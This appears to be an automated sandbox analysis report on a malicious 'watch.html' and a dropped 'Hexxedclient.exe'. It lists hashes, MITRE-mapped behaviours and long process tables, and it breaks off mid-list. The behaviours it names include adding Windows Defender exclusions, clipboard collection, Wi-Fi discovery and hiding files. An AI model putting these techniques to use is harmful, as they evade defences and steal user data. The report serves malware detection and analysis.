788611be1e0382e629dd81fc1720c1ba44ce0b5021ef274031b98e323d1a9a47

Resubmissions

17/09/2024, 02:35

240917-c3asmazhmp 6

09/09/2024, 22:53

240909-2t82havbjm 8

09/09/2024, 22:50

240909-2sh4pavalr 3

Analysis

max time kernel
147s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
09/09/2024, 22:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

watch.html
Size

763KB
MD5

355dce704cbbb456ccdead0de93935e1
SHA1

37fce09672e9262ab3755412b716f59cc7c93187
SHA256

788611be1e0382e629dd81fc1720c1ba44ce0b5021ef274031b98e323d1a9a47
SHA512

7df8080972514bc54a906b499e8e67af061279778f5601f5214c104814db00a8a05d58159393897a0128388b43d6242b9252e556ecab932bbdf85468e46e4441
SSDEEP

6144:+J8Gy3GyNGyEGy/GygGyEGy0GynGy3GyDPkmC6dbq4eGOPv3vt93nr3jHUGpIZh1:+6GOGGGXG2GvGXGhGKG8G2Pn49I

Score

8^/10

collection defense_evasion discovery execution upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5252	powershell.exe
6104	powershell.exe
5244	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5256	cmd.exe
6008	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4024	Hexxedclient.exe
3688	Hexxedclient.exe

Loads dropped DLL 17 IoCs

pid	Process
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe
3688	Hexxedclient.exe

UPX packed file 24 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0002000000025c82-839.dat	upx
behavioral1/memory/3688-843-0x00007FF9008D0000-0x00007FF900EB9000-memory.dmp	upx
behavioral1/files/0x0003000000025743-845.dat	upx
behavioral1/memory/3688-847-0x00007FF91C7F0000-0x00007FF91C813000-memory.dmp	upx
behavioral1/memory/3688-848-0x00007FF91FB70000-0x00007FF91FB7F000-memory.dmp	upx
behavioral1/memory/3688-853-0x00007FF919680000-0x00007FF9196AD000-memory.dmp	upx
behavioral1/memory/3688-854-0x00007FF91E790000-0x00007FF91E7A9000-memory.dmp	upx
behavioral1/memory/3688-856-0x00007FF901120000-0x00007FF901297000-memory.dmp	upx
behavioral1/memory/3688-855-0x00007FF9167D0000-0x00007FF9167F3000-memory.dmp	upx
behavioral1/memory/3688-858-0x00007FF91EFE0000-0x00007FF91EFED000-memory.dmp	upx
behavioral1/memory/3688-859-0x00007FF915D90000-0x00007FF915DBE000-memory.dmp	upx
behavioral1/memory/3688-862-0x00007FF902810000-0x00007FF9028C8000-memory.dmp	upx
behavioral1/memory/3688-861-0x00007FF91C7F0000-0x00007FF91C813000-memory.dmp	upx
behavioral1/memory/3688-860-0x00007FF9008D0000-0x00007FF900EB9000-memory.dmp	upx
behavioral1/memory/3688-863-0x00007FF900550000-0x00007FF9008C8000-memory.dmp	upx
behavioral1/memory/3688-867-0x00007FF919680000-0x00007FF9196AD000-memory.dmp	upx
behavioral1/memory/3688-868-0x00007FF91E790000-0x00007FF91E7A9000-memory.dmp	upx
behavioral1/memory/3688-869-0x00007FF900430000-0x00007FF90054C000-memory.dmp	upx
behavioral1/memory/3688-866-0x00007FF91A3B0000-0x00007FF91A3BD000-memory.dmp	upx
behavioral1/memory/3688-865-0x00007FF91BC60000-0x00007FF91BC74000-memory.dmp	upx
behavioral1/memory/3688-857-0x00007FF91BD20000-0x00007FF91BD39000-memory.dmp	upx
behavioral1/memory/3688-891-0x00007FF9167D0000-0x00007FF9167F3000-memory.dmp	upx
behavioral1/memory/3688-902-0x00007FF901120000-0x00007FF901297000-memory.dmp	upx
behavioral1/memory/3688-956-0x00007FF91BD20000-0x00007FF91BD39000-memory.dmp	upx

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
250	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
5312	tasklist.exe
5492	tasklist.exe
5624	tasklist.exe
6040	tasklist.exe
5920	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5992	cmd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4724	cmd.exe
5568	netsh.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5868	WMIC.exe
5960	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5648	systeminfo.exe

Kills process with taskkill 15 IoCs

evasion

pid	Process
5952	taskkill.exe
5920	taskkill.exe
5568	taskkill.exe
5964	taskkill.exe
5620	taskkill.exe
1088	taskkill.exe
5676	taskkill.exe
5348	taskkill.exe
5692	taskkill.exe
5248	taskkill.exe
6124	taskkill.exe
5832	taskkill.exe
1920	taskkill.exe
5764	taskkill.exe
5824	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133703960317815219"	chrome.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000_Classes\Local Settings	OpenWith.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Hexxedclient.rar:Zone.Identifier	chrome.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
4856	chrome.exe
4856	chrome.exe
4856	chrome.exe
4856	chrome.exe
5252	powershell.exe
5252	powershell.exe
5244	powershell.exe
5244	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2884	OpenWith.exe
2644	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 45 IoCs

pid	Process
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe
Token: SeShutdownPrivilege	1668	chrome.exe
Token: SeCreatePagefilePrivilege	1668	chrome.exe

Suspicious use of FindShellTrayWindow 54 IoCs

pid	Process
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
3672	7zG.exe

Suspicious use of SendNotifyMessage 14 IoCs

pid	Process
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe
1668	chrome.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2884	OpenWith.exe
2884	OpenWith.exe
2884	OpenWith.exe
2884	OpenWith.exe
2884	OpenWith.exe
2644	OpenWith.exe
2644	OpenWith.exe
2644	OpenWith.exe
2644	OpenWith.exe
2644	OpenWith.exe
2644	OpenWith.exe
2644	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 332	1668	chrome.exe	80
PID 1668 wrote to memory of 332	1668	chrome.exe	80
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 1348	1668	chrome.exe	81
PID 1668 wrote to memory of 4628	1668	chrome.exe	82
PID 1668 wrote to memory of 4628	1668	chrome.exe	82
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83
PID 1668 wrote to memory of 3396	1668	chrome.exe	83

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
6088	attrib.exe
1088	attrib.exe
6096	attrib.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument C:\Users\Admin\AppData\Local\Temp\watch.html
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff91980cc40,0x7ff91980cc4c,0x7ff91980cc58
  2⤵
  PID:332
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1784,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1776 /prefetch:2
  2⤵
  PID:1348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1384,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2100 /prefetch:3
  2⤵
  PID:4628
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2172,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2416 /prefetch:8
  2⤵
  PID:3396
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3048,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3132 /prefetch:1
  2⤵
  PID:3436
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3056,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3156 /prefetch:1
  2⤵
  PID:4088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4268,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4388 /prefetch:1
  2⤵
  PID:2204
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4596,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4620 /prefetch:1
  2⤵
  PID:4040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4980,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5124 /prefetch:8
  2⤵
  PID:1680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=5144,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5156 /prefetch:1
  2⤵
  PID:3448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=3248,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3188 /prefetch:1
  2⤵
  PID:4680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5216,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3180 /prefetch:1
  2⤵
  PID:3016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=5248,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5304 /prefetch:1
  2⤵
  PID:2552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5124,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5152 /prefetch:1
  2⤵
  PID:4868
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=3232,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4792 /prefetch:1
  2⤵
  PID:3288
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=4740,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4800 /prefetch:1
  2⤵
  PID:1992
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=4284,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4608 /prefetch:1
  2⤵
  PID:4760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3236,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4844 /prefetch:8
  2⤵
  PID:2420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5296,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4756 /prefetch:8
  2⤵
  PID:3708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=4560,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4564 /prefetch:1
  2⤵
  PID:3140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=5152,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4732 /prefetch:1
  2⤵
  PID:868
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=5412,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5508 /prefetch:1
  2⤵
  PID:760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=5356,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4376 /prefetch:1
  2⤵
  PID:1180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --field-trial-handle=5752,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3168 /prefetch:1
  2⤵
  PID:3292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --field-trial-handle=5704,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5516 /prefetch:1
  2⤵
  PID:4336
- C:\Program Files\Google\Chrome\Application\chrome.exe
